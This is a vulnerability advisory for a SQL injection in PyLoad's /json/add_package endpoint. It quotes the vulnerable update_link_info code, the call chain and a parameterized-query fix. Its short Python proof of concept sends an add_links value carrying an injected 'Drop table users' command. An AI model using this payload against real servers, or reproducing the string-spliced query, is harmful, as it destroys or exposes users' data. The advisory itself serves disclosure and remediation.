PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter

Summary

The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.

Details

• Affected file：https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
• Affected code:

@style.queue
    def update_link_info(self, data):
        """
        data is list of tuples (name, size, status, url)
        """
        self.c.executemany(
            "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
            data,
        )
        ids = []
        statuses = "','".join(x[3] for x in data)
        self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
        for r in self.c:
            ids.append(int(r[0]))
        return ids

statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.

• Vulnerability Chain

josn_blueprint.py#add_package
src/pyload/core/api/__init__.py#add_package
src/pyload/core/managers/file_manager.py#add_links
src/pyload/core/threads/info_thread.py#run
src/pyload/core/threads/info_thread.py#update_info
src/pyload/core/managers/file_manager.py#update_file_info
src/pyload/core/database/file_database.py#update_link_info

PoC

import requests


if __name__ == "__main__":
    url = "http://localhost:8000/json/add_package"
    data = {
        "add_name": "My Downloads1",
        "add_dest": "0",
        "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",
        "add_password": "mypassword"
    }

    response = requests.post(url, cookies=your_cookies, data=data)
    print(response.status_code, response.text)

<img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" />

Remediation

def update_link_info(self, data):
   """
data is list of tuples (name, size, status, url)
"""
   self.c.executemany(
       "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
       data,
   )
   
   # 提取所有url
   urls = [x[3] for x in data]
   
   # 构建参数化查询，避免SQL注入
   placeholders = ','.join(['?'] * len(urls))
   query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
   self.c.execute(query, urls)
   
   ids = [int(row[0]) for row in self.c.fetchall()]
   return ids

Impact

Attackers can modify or delete data in the database, causing data errors or loss.